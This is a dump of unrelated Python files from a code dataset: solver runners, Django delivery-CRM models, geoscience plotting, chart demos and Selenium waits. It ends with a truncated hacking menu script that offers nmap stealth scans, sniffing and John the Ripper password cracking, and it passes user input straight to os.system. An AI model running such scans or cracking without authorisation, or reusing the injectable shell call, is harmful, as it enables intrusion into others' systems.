\"\\\"-seed={}\\\"\", yices_smt)\n elif mode == 6:\n suffix, info_file, solution_file = suffix_gen(\"z3\", \"\\\"-rnd-seed={}\\\"\", z3_smt)\n else:\n sys.exit(1)\n\n command_str = sr_str.format(param) + suffix\n\n print(command_str)\n start = time.time()\n command_process = subprocess.Popen(shlex.split(command_str), stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n satisfiable = False\n for line in iter(command_process.stdout.readline, b''):\n print(line.decode()[:-1])\n if \"Created solution file\" in line.decode().strip():\n satisfiable = True\n end = time.time()\n script_time = end - start\n\n if satisfiable:\n with open(solution_file, \"r\") as f:\n sol_lines = f.readlines()\n\n with open(info_file, \"r\") as f:\n info_lines = f.readlines()\n\n gok_info_file = \"info_files_native/\" + info_file.split(\"/\")[1].split(\".\")[0]+\".txt\"\n with open(gok_info_file, \"w\") as f:\n f.write(\"{}\\n\".format(command_str))\n if satisfiable:\n f.writelines(sol_lines)\n f.writelines(info_lines)\n f.write(\"TOTAL TIME: {} \\n\".format(script_time))\n print(\"Info stored in {}\".format(gok_info_file))\n\nif __name__ == '__main__':\n main()","sub_path":"results/mrcpsp/rcpsp_test/runner_smt.py","file_name":"runner_smt.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"610669491","text":"# -*- coding: utf-8 -*-\nimport datetime\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom FinancialProduct import FinancialProduct\n\nclass InterestProduct(FinancialProduct):\n\n def __init__(self, name=None, start_date=None, end_date=None, amount=None, rate=None):\n FinancialProduct.__init__(self, name=name, start_date=start_date, end_date=end_date, amount=amount)\n self.set_yearly_rate(rate)\n \n self.refresh_data()\n\n def __valid_object(self):\n try:\n return (not self.start_date is None and not self.end_date is None and not self.daily_rate is None)\n except:\n return False\n\n def refresh_data(self):\n if self.__valid_object():\n self.rates = np.cumprod(np.repeat(1+self.daily_rate, (self.end_date - self.start_date).days))\n\n def set_yearly_rate(self, rate):\n \"\"\"Set rate of product\"\"\"\n if not rate is None:\n self.yearly_rate = rate*0.01\n self.daily_rate = (np.exp(np.log(1+rate*0.01)/365)-1)\n\n self.refresh_data()\n\n def get_yearly_rate(self):\n return self.yearly_rate\n\n def get_daily_rate(self):\n return self.daily_rate\n\n\nif __name__ == \"__main__\":\n i = InterestProduct()\n i.set_name(\"LDD CIC\")\n i.set_start_date(\"2010-01-01\")\n i.set_end_date(\"2013-10-01\")\n i.set_amount(5000)\n i.set_yearly_rate(1.25)\n\n plt.figure()\n i.plot_values_between(\"2009-01-01\", \"2014-01-01\")\n plt.legend()\n plt.show()\n\n","sub_path":"InterestProduct.py","file_name":"InterestProduct.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"86701285","text":"import binascii\nimport os\nimport math\nimport time\n\nfrom django.db import models\nfrom django.contrib.auth.models import UserManager\nfrom django.utils.encoding import python_2_unicode_compatible\nfrom django.contrib.auth.models import AbstractBaseUser\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom nomnom.choices import *\nfrom utilities.google_gcm import GCM\nfrom django.db.models import Q\n\n\nclass TimeStampedModel(models.Model):\n \"\"\" TimeStampedModel\n An abstract base class model that provides self-managed \"created\" and\n \"modified\" fields.\n \"\"\"\n created_on = models.DateTimeField(auto_now_add=True)\n updated_on = models.DateTimeField(auto_now=True)\n\n class Meta:\n get_latest_by = 'updated_on'\n ordering = ('-updated_on', '-created_on',)\n abstract = True\n\n\nclass Agent(TimeStampedModel, AbstractBaseUser):\n\n # Phone picking or order delivery agent or operations executive\n\n name = models.CharField(max_length=255)\n username = models.CharField(max_length=255)\n contact_number = models.CharField(max_length=100, unique=True)\n permanent_address = models.CharField(max_length=255)\n cogent_agent_id = models.CharField(max_length=255, null=True)\n current_address = models.CharField(max_length=255)\n agent_type = models.CharField(max_length=25, choices=AGENT_TYPE, default=AGENT_TYPE[0][0])\n is_logged_in = models.BooleanField(default= False)\n\n objects = UserManager()\n\n USERNAME_FIELD = 'username'\n\n class Meta:\n ordering = ('created_on',)\n\n def __str__(self):\n return \"%s - %s\" % (self.name, self.contact_number)\n\n def update_delivery_boy(self, status):\n DeliveryBoy.objects.filter(agent=self).update(is_available=status)\n\n\n def get_auth_token(self, request_headers):\n (device_id, device_type, push_id) = request_headers[\"HTTP_X_DEVICE_ID\"],\\\n request_headers[\"HTTP_X_DEVICE_TYPE\"],\\\n request_headers[\"HTTP_X_PUSH_ID\"]\n CRMAccessToken.objects.filter(device_id= device_id, device_type=device_type).update(is_active=False)\n\n token = CRMAccessToken.objects.create(user=self, device_id=device_id, device_type=device_type, push_id=push_id)\n\n return token\n\n\n@python_2_unicode_compatible\nclass CRMAccessToken(models.Model):\n\n access_token = models.CharField(max_length=50, primary_key=True)\n user = models.ForeignKey(Agent, related_name='auth_token')\n device_id = models.CharField(max_length=255, default=\"web\")\n device_type = models.CharField(max_length=10, null=False)\n push_id = models.CharField(max_length=255, default=None)\n created_on = models.DateTimeField(auto_now_add=True)\n is_active = models.BooleanField(default=True)\n\n def save(self, *args, **kwargs):\n if not self.access_token:\n self.access_token = self.generate_token()\n return super(CRMAccessToken, self).save(*args, **kwargs)\n\n def generate_token(self):\n return binascii.hexlify(os.urandom(20)).decode()\n\n def __str__(self):\n return self.access_token\n\n\nclass CallLog(TimeStampedModel):\n\n agent = models.ForeignKey(Agent)\n customer = models.ForeignKey('Customer')\n forwarded_for = models.CharField(max_length=30, null=True)\n\n @staticmethod\n def log_call(customer, agent_id, forwarded_for):\n try:\n agent = Agent.objects.filter(cogent_agent_id= agent_id)[0]\n except IndexError:\n return False\n\n CallLog.objects.create(agent=agent, customer=customer, forwarded_for=forwarded_for)\n\n return agent\n\n\nclass City(models.Model):\n name = models.CharField(max_length=120, null=False)\n\n def __str__(self):\n return self.name\n\n\nclass Locality(models.Model):\n\n name = models.CharField(max_length=120, null=False)\n city = models.ForeignKey(City)\n latitude = models.DecimalField(decimal_places=6, max_digits=10, default=0.0)\n longitude = models.DecimalField(decimal_places=6, max_digits=10, default=0.0)\n delivery_radius = models.IntegerField(default=0, help_text='In meters')\n\n def __str__(self):\n return self.name\n\n\nclass Customer(TimeStampedModel, AbstractBaseUser):\n\n name = models.CharField(max_length=255, default='Anon')\n primary_number = models.CharField(max_length=255, unique=True)\n age = models.IntegerField(default=12)\n customer_category = models.CharField(max_length=20, choices=CUSTOMER_CATEGORY, null=True)\n max_spend = models.IntegerField(default=0)\n median_spend = models.IntegerField(default=0)\n lowest_spend = models.IntegerField(default=0)\n payment_preferences = models.CharField(max_length= 50, choices=PAYMENT_PREFERENCES, null=True)\n wants_beverage = models.BooleanField(default= False)\n wants_dessert = models.BooleanField(default= False)\n allergies = models.CharField(max_length= 255, null=True)\n gender = models.CharField(max_length=10, choices=GENDER, default='F')\n language_preference = models.CharField(max_length=12, choices=LANGUAGES, default='HINDI')\n rating_for_nomnom = models.IntegerField(null=True)\n call_count = models.IntegerField(default=0)\n\n objects = UserManager()\n\n USERNAME_FIELD = 'primary_number'\n\n @staticmethod\n def find_by_contact_number(contact_number):\n\n try:\n customer = Customer.objects.filter(primary_number= contact_number)[0]\n except IndexError:\n customer = ContactNumber.objects.filter(number= contact_number)[0].customer\n except:\n customer = False\n\n return customer\n\n def get_pending_orders(self):\n #Check for pending deliveries from this order\n try:\n orders = [Order.objects.filter(~Q(status__in= [DELIVERY_STATUS[8][0],DELIVERY_STATUS[9][0]]), customer=self)[0]]\n except IndexError:\n orders = []\n\n return orders\n\n\n class Meta:\n ordering = ('updated_on',)\n\n def __str__(self):\n return \"%s - %s\" % (self.name, self.primary_number)\n\n\nclass Address(TimeStampedModel):\n\n customer = models.ForeignKey(Customer, related_name='address_list')\n complete_address = models.CharField(max_length=500, null=True)\n city = models.ForeignKey(City)\n locality = models.ForeignKey(Locality)\n address_type = models.CharField(max_length=20, choices=ADDRESS_TYPE, default=ADDRESS_TYPE[0][0])\n\n class Meta:\n ordering = ('updated_on',)\n\n\nclass ContactNumber(TimeStampedModel):\n\n customer = models.ForeignKey(Customer, related_name='alternate_numbers')\n number = models.CharField(max_length=255)\n number_type = models.CharField(max_length=10, choices=ADDRESS_TYPE)\n\n class Meta:\n ordering = ('updated_on', )\n\n\nclass CustomerPreference(models.Model):\n # TODO\n customer = models.ForeignKey(Customer)\n # favorite_dish_one = models.ForeignKey(, null=True)\n # favorite_dish_two = models.ForeignKey(, null=True)\n # favorite_dish_three = models.ForeignKey( , null=True)\n # favorite_cuisine_one = models.ForeignKey( , null=True)\n # favorite_cuisine_two = models.ForeignKey( , null=True)\n # favorite_cuisine_three = models.ForeignKey( , null=True)\n # favorite_place_one = models.ForeignKey( , null=True)\n # favorite_place_two = models.ForeignKey( , null=True)\n # favorite_place_three= = models.ForeignKey( , null=True)\n\nclass DeliveryBoy(models.Model):\n\n\n agent = models.ForeignKey(Agent,related_name=\"delivery_agent\")\n bike_number = models.CharField(max_length=20)\n dl_number = models.CharField(max_length=25)\n rc_number = models.CharField(max_length=25)\n is_available = models.BooleanField(default=True)\n latitude = models.DecimalField(decimal_places=6, max_digits=8)\n longitude = models.DecimalField(decimal_places=6, max_digits=8)\n latlon_timestamp = models.DateTimeField()\n\n @staticmethod\n def get_available_delivery_boy(order, radius=5):\n latitude = float(order.restaurant.latitude)\n longitude = float(order.restaurant.longitude)\n radius = float(radius)\n # list of latitude and longitude within 10km of restaurant\n latitude_range = [latitude - radius/111.045, latitude + radius/111.045]\n longitude_range = [longitude - radius/(111.045*math.cos(math.radians(longitude))),\n longitude - radius/(111.045*math.cos(math.radians(longitude)))]\n\n try:\n delivery_boys = DeliveryBoy.objects.filter(latitude__in=latitude_range,\n longitude__in=longitude_range, is_available=True)\n\n distances = {}\n for delivery_boy in delivery_boys:\n\n distance_latitude = delivery_boy.latitude - latitude\n distance_longitude = delivery_boy.longitude - longitude\n\n a = pow(math.sin(distance_latitude/2), 2) + math.cos(latitude) * math.cos(delivery_boy.latitude) * \\\n pow(math.sin(distance_longitude/2), 2)\n\n c = 2 * math.atan2(math.sqrt(a), math.sqrt(1-a))\n\n distances[delivery_boy] = 6367 * c\n try:\n return min(distances, key=distances.get)\n except:\n return None\n except ObjectDoesNotExist:\n return None\n\n def get_push_id(self):\n try:\n token = CRMAccessToken.objects.filter(user_id=self.agent,\n is_active=True)[0]\n return token.push_id\n except IndexError:\n return False\n\n def notify(self, order_id):\n push_id = self.get_push_id()\n if push_id:\n GCM().send_data([push_id], {\"order_id\": order_id})\n return True\n else:\n return False\n\n\n def __str__(self):\n return \"%s - %s\" % (self.agent.name, self.agent.contact_number)\n\n\nclass DeliveryBoyLocation(models.Model):\n \"\"\"\n Log delivery boy longitude and latitude\n \"\"\"\n\n delivery_boy = models.ForeignKey('DeliveryBoy')\n latitude = models.DecimalField(decimal_places=6, max_digits=8)\n longitude = models.DecimalField(decimal_places=6, max_digits=8)\n latlon_timestamp = models.DateTimeField(auto_now=True)\n\n\nclass AgentLog(models.Model):\n \"\"\"\n Log delivery boy's login and logout data\n \"\"\"\n agent = models.ForeignKey('Agent')\n action = models.CharField(max_length=25, choices=((\"login\", \"Login\"), (\"logout\", \"Logout\")))\n created_on = models.DateTimeField(auto_now=True)\n\n\nclass DeliveryBoyLog(models.Model):\n \"\"\"\n Log delivery boy's login and logout data\n\n \"\"\"\n delivery_boy = models.ForeignKey('DeliveryBoy')\n login = models.DateTimeField(null=True)\n logout = models.DateTimeField(null=True)\n\n\nclass Order(TimeStampedModel):\n\n agent = models.ForeignKey(Agent, related_name=\"order_taking_agent\")\n customer = models.ForeignKey(Customer, related_name='order_customer')\n address = models.ForeignKey('Address', related_name= 'customer_order_address')\n restaurant = models.ForeignKey('restaurant.Restaurant', related_name='order_restaurant')\n delivery_boy = models.ForeignKey('DeliveryBoy', related_name='assigned_delivery_boy', null=True)\n\n vat_tax = models.DecimalField(max_digits=6, decimal_places=2)\n service_tax = models.DecimalField(max_digits=6, decimal_places=2)\n discount_amount = models.IntegerField(default=0)\n delivery_charges = models.IntegerField(default=0)\n total_amount = models.DecimalField(max_digits=8, decimal_places=3)\n bill_image = models.ImageField(upload_to='static/bills', blank=True)\n special_instructions = models.CharField(max_length=1000)\n\n status = models.CharField(max_length=40, choices=DELIVERY_STATUS)\n\n order_communicated_through = models.CharField(max_length=255, null=True)\n restaurant_notified = models.BooleanField(default=False)\n restaurant_amount = models.IntegerField(default=0, help_text=\"Amount to be paid to the restaurant\")\n customer_amount = models.IntegerField(default=0, help_text=\"Amount to be collected from customer\")\n\n expected_delivery_time = models.DateTimeField(null=True, blank=True)\n expected_pickup_time = models.DateTimeField(null=True, blank=True)\n\n delivered_at = models.DateTimeField(null=True, blank=True)\n delivery_feedback = models.CharField(max_length=125, null=True, blank=True)\n\n payment_cash = models.IntegerField(blank=True, null=True)\n payment_card = models.IntegerField(blank=True, null=True)\n\n class Meta:\n ordering = ('updated_on', )\n\n def should_call(self):\n if self.restaurant.has_tobe_called:\n return True\n elif not self.restaurant.has_gps_printer and not self.restaurant.has_merchant_app:\n for contact in self.restaurant.numbers.all():\n if contact.number_type == NUMBER_TYPE[0][0]:\n return False\n return True\n\n # TODO - Notify restaurant\n def notify_restaurant(self):\n if self.restaurant.has_gps_printer:\n # Send GPS push\n pass\n return True\n elif self.restaurant.has_merchant_app:\n # Send GCM Push\n pass\n return True\n else:\n try:\n for contact in self.restaurant.contacts.all():\n if contact.number_type == NUMBER_TYPE[0][0]:\n # Send SMS\n pass\n return True\n except ObjectDoesNotExist:\n Ticket.objects.create(agent=self.agent, order=self, type=TICKET_TYPE[1][0])\n return False\n\n def delivery_boy_assigned(self):\n\n counter = 0\n while counter < 7:\n if self.delivery_boy is not None and self.status == 'assigned':\n return True\n counter += 1\n time.sleep(10)\n self.refresh_from_db()\n\n else:\n return False\n\n def __str__(self):\n return str(self.id)\n\n\nclass OrderLineItem(models.Model):\n\n # dish variation ordered\n dish_variation = models.ForeignKey('restaurant.DishVariation', default=1)\n quantity = models.IntegerField()\n unit_price_charged = models.IntegerField()\n total_price_charged = models.IntegerField()\n order = models.ForeignKey(Order, null=True, related_name='order_items')\n\n def __str__(self):\n return \"order %s - %s\" % (self.order.id, self.dish_variation.dish.dish_name)\n\n\nclass OrderLog(models.Model):\n\n order = models.ForeignKey('Order', related_name='order_logs')\n message = models.CharField(max_length=255)\n owner_id = models.IntegerField()\n owner_type = models.CharField(max_length=25)\n created_on = models.DateTimeField(auto_now=True)\n\n class Meta:\n ordering = ('created_on', )\n\n\nclass Ticket(TimeStampedModel):\n\n created_by = models.ForeignKey(Agent, related_name=\"ticket_by\")\n assigned_to = models.ForeignKey(Agent, related_name=\"ticket_for\", null=True)\n ticket_type = models.CharField(max_length=25, choices=TICKET_TYPE)\n is_active = models.BooleanField(default=True)\n order = models.ForeignKey('Order')\n details = models.CharField(max_length=1024)\n resolved_at = models.DateTimeField(null=True)\n\n class Meta:\n ordering = ('created_on',)\n","sub_path":"crm/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"381282448","text":"#Reads in T,P estimates at various conditions (estimated using Lee 2009) for individual samples and plots melt fractions calculated using the method of Katz 2003 versus melt fractions using Ti concs\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport heapq\nimport operator\nimport sys\nimport os\nsys.path.insert(0, '/data/ap4909/30.10.2013-hot_cold_geochem/mantle_temp_cals/calculate_p_t_using_lee')\nimport pet_read_in_with_labels,katz_melt_frac,fractionate\nfrom scipy.optimize import fsolve\n\n#USER INPUT#\nfor zone in [\"costa_rica\",\"s_sandwich\",\"c_aleutians\",\"izu\",\"kermadec\",\"sla\",\"s_marianas\",\"tonga\",\"w_aleutians\"]:\n\tsub_zone=\"%s\"%zone\n\t#Pressure function\n\td_a=[ 0., 3000., 15000., 24400., 71000., 171000., 220000.,271000., 371000., 400000., 471000., 571000., 670000., 771000., 871000., 971000., 1071000., 1171000., 1271000., 1371000., 1471000.,1571000., 1671000., 1771000., 1871000., 1971000., 2071000., 2171000.,2271000., 2371000., 2471000., 2571000., 2671000., 2771000., 2871000.,2891000.]\t#PREM depths\n\n\tp_a=[ 0.00000000e+00, 0.00000000e+00, 3.00000000e+08, 6.00000000e+08, 2.20000000e+09, 5.50000000e+09 , 7.10000000e+09, 8.90000000e+09, 1.23000000e+10, 1.34000000e+10, 1.60000000e+10, 1.99000000e+10, 2.38000000e+10, 2.83000000e+10, 3.28000000e+10, 3.73000000e+10, 4.19000000e+10 , 4.65000000e+10, 5.12000000e+10, 5.59000000e+10, 6.07000000e+10, 6.55000000e+10,7.04000000e+10, 7.54000000e+10, 8.04000000e+10, 8.55000000e+10, 9.06000000e+10, 9.58000000e+10, 1.01100000e+11, 1.06400000e+11, 1.11900000e+11, 1.17400000e+11, 1.23000000e+11, 1.28800000e+11 , 1.34600000e+11, 1.35800000e+11]\t#PREM pressures\n\tdef prem_pressure(height):\n\t\tfor prem_depth in range(1,len(d_a)):\t#loops through depths, starting at index one\n\t\t\tif -height<=d_a[prem_depth]: #checks in which depth interval the height is \n\t\t\t\tPressure=((p_a[prem_depth]-p_a[prem_depth-1])/(d_a[prem_depth]-d_a[prem_depth-1]))*((-height)-d_a[prem_depth-1])+p_a[prem_depth-1]\n\t\t\t\tbreak\n\t\treturn Pressure\n\tlabels=[]\n\tindex=1\n\tsamps=pet_read_in_with_labels.pet_read_in(\"pt_files/%s_calculate_pt.csv\"%(sub_zone))\n\t#samps=pet_read_in_with_labels.pet_read_in(\"testing/test1.csv\")\n\tmineral_props={\"Fo=92\":{\"ol\":0.65,\"opx\":0.3,\"cpx\":0.05},\"Fo=91\":{\"ol\":0.65,\"opx\":0.25,\"cpx\":0.1},\"Fo=90\":{\"ol\":0.65,\"opx\":0.2,\"cpx\":0.15}}\t#mineral proportions for fo90,fo91,fo92 mantle\n\tmant_vals={\"Fo=92\":{\"Y\":3.129,\"La\":0.134,\"Ti\":650.0},\"Fo=91\":{\"Y\":3.328,\"La\":0.192,\"Ti\":716.3},\"Fo=90\":{\"Y\":3.548,\"La\":0.253,\"Ti\":792.0}}#mantle concentrations for DDMM, Ave DMM and enriched DMM from workman and Hart 2005\n\n\n\tfor comp in mant_vals.keys():\n\t\tfor key,value in samps.iteritems():\n\t\t\t\n\t\t\t\n\t\t\t#Plotting F estimates from element concs \t\n\t\t\tfor h2o,h_col in zip([0.0,8.0],[\"g\",\"b\"]):\t\n\t\t\t\t\n\t\t\t\tfor l,marker in zip(value.mf(comp,mineral_props,mant_vals,h2o),[\"*\",\"d\",\".\"]):\n\t\t\t\t\t\n\t\t\t\t\t#c=raw_input(\"h\")\n\t\t\t\t\tif l[0]==0 or l[1]==0:\n\t\t\t\t\t\tfor i in l:\n\t\t\t\t\t\t\tif i !=0:\n\t\t\t\t\t\t\t\tif marker==\"d\":\n\t\t\t\t\t\t\t\t\tplt.plot(index,i,\"%s\"%marker,markersize=10,c=\"r\")\n\t\t\t\t\t\t\t\telse:\t\n\t\t\t\t\t\t\t\t\tplt.plot(index,i,\"%s\"%marker,markersize=10,c=h_col)\n\t\t\t\t\telse:\n\t\t\t\t\t\tkatz_est_ave=(l[0]+l[1])/2.\n\t\t\t\t\t\tx=np.array([index])\n\t\t\t\t\t\ty=np.array([katz_est_ave])\n\t\t\t\t\t\tytop=np.array([abs(l[0]-katz_est_ave)])\n\t\t\t\t\t\tybot=ytop\n\t\t\t\t\t\tplt.errorbar(x,y,yerr=(ytop,ybot),lw=1,c=h_col,linestyle=\"None\")\n\t\t\t\t\t\tif marker==\"d\":\n\t\t\t\t\t\t\tplt.plot(index,katz_est_ave,\"%s\"%marker,markersize=10,c=\"r\")\n\t\t\t\t\t\telse:\t\n\t\t\t\t\t\t\tplt.plot(index,katz_est_ave,\"%s\"%marker,markersize=10,c=h_col)\t\t\n\t\t\t\t\t\t#plt.plot(index,katz_est_ave,\"%s\"%marker,markersize=10,c=h_col)\n\t\t\tindex+=1\n\t\t\tlabels.append(value.name[-10:])\n\t\t\t#plt.plot(0,0,\".\",c=\"b\",label=\"Ti est melt frac\")\n\t\t\t#plt.plot(0,0,\"*\",c=\"k\",label=\"Y est melt frac\")\n\t\t#plt.show()\n\t\tplt.xticks(range(1,index+1,1), labels, size='small')\n\t\tplt.plot(0,0,\"*\",c=\"b\",label=\"Ti est melt frac H2O=8\")\n\t\tplt.plot(0,0,\"*\",c=\"g\",label=\"Ti est melt frac, H2O=0\")\n\t\tplt.plot(0,0,\"d\",c=\"r\",label=\"Y est melt frac\")\n\t\tplt.plot(0,0,\".\",c=\"b\",label=\"Katz est melt frac. H2O=8\")\n\t\tplt.plot(0,0,\".\",c=\"g\",label=\"Katz est melt frac. H2O=0\")\n\t\tplt.legend(bbox_to_anchor=(0.5, -0.1))\n\t\tplt.ylabel(\"Melt Fraction\")\n\t\tplt.title(\"%s, %s, D_Ti=%f\"%(sub_zone,comp,value.bulk_ti_D))\n\t\tlocs, labels = plt.xticks()\n\t\tplt.setp(labels, rotation=30)\n\t\tfig1=plt.gcf()\n\t\tdirectory=\"figures/\"+\"%s/var_D/\"%(sub_zone)#+\"%s\"%(comp.replace(\"=\",\"_\")) #%(sub_zone,comp.replace(\"=\",\"_\"))\n\t\tif not os.path.exists(directory):\n\t \t\t\tos.makedirs(directory)\n\t\tfig1.savefig(\"%s/%s_varD.png\"%(directory,comp.replace(\"=\",\"_\")),bbox_inches='tight',dpi=(149))\n\t\tplt.clf()\n\n\t\tlabels=[]\n\t\tindex=1\n\n\nsys.exit()\n\n\n\n\n\n\n\n\n\n\n","sub_path":"mantle_temp_cals/calculate_p_t_using_lee/plot_points_with_h2o_est.py","file_name":"plot_points_with_h2o_est.py","file_ext":"py","file_size_in_byte":4703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"545047923","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @File : Demo02.py\n# @Author: huifer\n# @Date : 2018/8/17\nfrom pyecharts import EffectScatter\n\ndef demo01():\n v1 = [10, 20, 30, 40, 50, 60]\n v2 = [25, 20, 15, 10, 60, 33]\n es = EffectScatter(\"动态散点图示例\")\n # **提醒**一下,pyecharts的渲染基于JavaScript,在线上运行的时候需要在```function```中传入```jshost```参数,\n\n es.add(\"effectScatter\", v1, v2)\n es.render(\"动态散点图示例.html\")\n\ndef demo02():\n \"\"\"\n add(name, x_axis, y_axis,\n symbol_size=10, **kwargs)\n name -> str\n 图例名称\n x_axis -> list\n x 坐标轴数据\n y_axis -> list\n y 坐标轴数据\n symbol_size -> int\n 标记图形大小,默认为 10\n :return:\n \"\"\"\n es = EffectScatter(\"动态散点图各种图形示例\")\n # **提醒**一下,pyecharts的渲染基于JavaScript,在线上运行的时候需要在```function```中传入```jshost```参数,\n\n es.add(\"\", [10], [10], symbol_size=20, effect_scale=3.5, effect_period=3, symbol=\"pin\")\n es.add(\"\", [20], [20], symbol_size=12, effect_scale=4.5, effect_period=4, symbol=\"rect\")\n es.add(\"\", [30], [30], symbol_size=30, effect_scale=5.5, effect_period=5, symbol=\"roundRect\")\n es.add(\"\", [40], [40], symbol_size=10, effect_scale=6.5, effect_brushtype='fill', symbol=\"diamond\")\n es.add(\"\", [50], [50], symbol_size=16, effect_scale=5.5, effect_period=3, symbol=\"arrow\")\n es.add(\"\", [60], [60], symbol_size=6, effect_scale=2.5, effect_period=3, symbol=\"triangle\")\n es.render(\"动态散点图各种图形示例.html\")\n\ndef demo03():\n from pyecharts import Bar3D\n bar3d = Bar3D(\"3D 柱状图示例\", width=1200, height=600, )\n x_axis = [i for i in range(4)]\n\n y_axis = [\"Saturday\", \"Friday\", \"Thursday\", \"Wednesday\", \"Tuesday\", \"Monday\", \"Sunday\"]\n data = [\n [0, 0, 0], [0, 1, 0], [0, 2, 0], [0, 3, 0], [0, 4, 0], [0, 5, 0],[0, 6, 0],[0, 7, 0],\n [1, 0, 1], [1, 1, 1], [1, 2, 1], [1, 3, 1], [1, 4, 1], [1, 5, 1],[1, 6, 1],[1, 7, 1],\n [2, 0, 2], [2, 1, 2], [2, 2, 2], [2, 3, 2], [2, 4, 2], [2, 5, 2], [2, 6, 2], [2, 7, 2],\n [3, 0, 3], [3, 1, 3], [3, 2, 3], [3, 3, 3], [3, 4, 3], [3, 5, 3], [3, 6, 3], [3, 7, 3],\n ]\n range_color = ['#313695', '#4575b4', '#74add1', '#abd9e9', '#e0f3f8', '#ffffbf',\n '#fee090', '#fdae61', '#f46d43', '#d73027', '#a50026']\n bar3d.add(\"\", x_axis, y_axis, [[d[0], d[1], d[2]] for d in data], is_visualmap=True,\n visual_range=[0, 20], visual_range_color=range_color, grid3d_width=200, grid3d_depth=80)\n bar3d.render(\"3d.html\")\n\ndef demo04():\n from pyecharts import Bar, Timeline\n from random import randint\n\n attr = [\"衬衫\", \"羊毛衫\", \"雪纺衫\", \"裤子\", \"高跟鞋\", \"袜子\"]\n bar_1 = Bar(\"2012 年销量\", \"数据纯属虚构\", )\n # **提醒**一下,pyecharts的渲染基于JavaScript,在线上运行的时候需要在```function```中传入```jshost```参数\n bar_1.add(\"春季\", attr, [randint(10, 100) for _ in range(6)])\n bar_1.add(\"夏季\", attr, [randint(10, 100) for _ in range(6)])\n bar_1.add(\"秋季\", attr, [randint(10, 100) for _ in range(6)])\n bar_1.add(\"冬季\", attr, [randint(10, 100) for _ in range(6)])\n\n bar_2 = Bar(\"2013 年销量\", \"数据纯属虚构\")\n bar_2.add(\"春季\", attr, [randint(10, 100) for _ in range(6)])\n bar_2.add(\"夏季\", attr, [randint(10, 100) for _ in range(6)])\n bar_2.add(\"秋季\", attr, [randint(10, 100) for _ in range(6)])\n bar_2.add(\"冬季\", attr, [randint(10, 100) for _ in range(6)])\n\n bar_3 = Bar(\"2014 年销量\", \"数据纯属虚构\")\n bar_3.add(\"春季\", attr, [randint(10, 100) for _ in range(6)])\n bar_3.add(\"夏季\", attr, [randint(10, 100) for _ in range(6)])\n bar_3.add(\"秋季\", attr, [randint(10, 100) for _ in range(6)])\n bar_3.add(\"冬季\", attr, [randint(10, 100) for _ in range(6)])\n\n bar_4 = Bar(\"2015 年销量\", \"数据纯属虚构\")\n bar_4.add(\"春季\", attr, [randint(10, 100) for _ in range(6)])\n bar_4.add(\"夏季\", attr, [randint(10, 100) for _ in range(6)])\n bar_4.add(\"秋季\", attr, [randint(10, 100) for _ in range(6)])\n bar_4.add(\"冬季\", attr, [randint(10, 100) for _ in range(6)])\n\n bar_5 = Bar(\"2016 年销量\", \"数据纯属虚构\")\n bar_5.add(\"春季\", attr, [randint(10, 100) for _ in range(6)])\n bar_5.add(\"夏季\", attr, [randint(10, 100) for _ in range(6)])\n bar_5.add(\"秋季\", attr, [randint(10, 100) for _ in range(6)])\n bar_5.add(\"冬季\", attr, [randint(10, 100) for _ in range(6)], is_legend_show=True)\n\n timeline = Timeline(is_auto_play=True, timeline_bottom=0)\n timeline.add(bar_1, '2012 年')\n timeline.add(bar_2, '2013 年')\n timeline.add(bar_3, '2014 年')\n timeline.add(bar_4, '2015 年')\n timeline.add(bar_5, '2016 年')\n timeline.render(\"事件流.html\")\n\nif __name__ == '__main__':\n # demo02()\n # demo03()\n demo04()","sub_path":"pyecharts-learn/BoxplotTest/Demo02.py","file_name":"Demo02.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"619029616","text":"#encoding:utf8\n\n#元素显示等待\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium import webdriver\nimport time\npoll = 1\nend_time = time.time() + 10\ndr = webdriver.Chrome()\n# wait = WebDriverWait(dr,timeout=10,)\ndr.get('https://www.baidu.com')\nflag = 1\nwhile True:\n try :\n flag = flag +1\n print('flag:',flag)\n dr.find_element_by_css_selector('#kw').is_displayed()\n except Exception:\n print('----')\n time.sleep(poll)\n print(time.ctime())\n if time.time() > end_time:\n break\n\n\n'''\ndef until(self, method, message=''):\n \"\"\"Calls the method provided with the driver as an argument until the \\\n return value is not False.\"\"\"\n screen = None\n stacktrace = None\n\n 设置了超时时间 end_time = 当前时间 + 10\n end_time = time.time() + self._timeout\n while True:\n try:\n 这句话意思 value 指向 一个方法,这个方法必须传入 driver实例才能使用\n value = method(self._driver)\n 如果 value 指向的这个方法返回真 那么 返回 value,如果是假就异常处理\n if value:\n return value\n except self._ignored_exceptions as exc:\n screen = getattr(exc, 'screen', None)\n stacktrace = getattr(exc, 'stacktrace', None)\n 强制等待\n time.sleep(self._poll)\n if time.time() > end_time:\n break\n raise TimeoutException(message, screen, stacktrace)\n'''\n","sub_path":"selenium_wait.py","file_name":"selenium_wait.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"582686273","text":"import os\n\ndata='''\nSelect an option you want to run:\n1) Port Scanning.\n2) Network sniffing and store in pcap file.\n3) Crack password using John the Ripper.\n4) Collect Email/banner/urls from a URL.\n5) Vulnerability scan.\n6) Display running services on a host.\n'''\nprint (data)\nnum = int(input(\"Enter your option: \"))\nif num == 1:\n print(\"What type of Scan you want to do?..\")\n print(\"1) SYN 2) Xmas 3) Fin\")\n option=int(input(\"Enter your choice: \"))\n RHOST = input(\"Enter the RHOST: \")\n if option ==1:\n print(os.system(\"nmap -sS \" + RHOST))\n elif option == 2:\n print(os.system(\"nmap -sX \" + RHOST))\n elif option ==3:\n 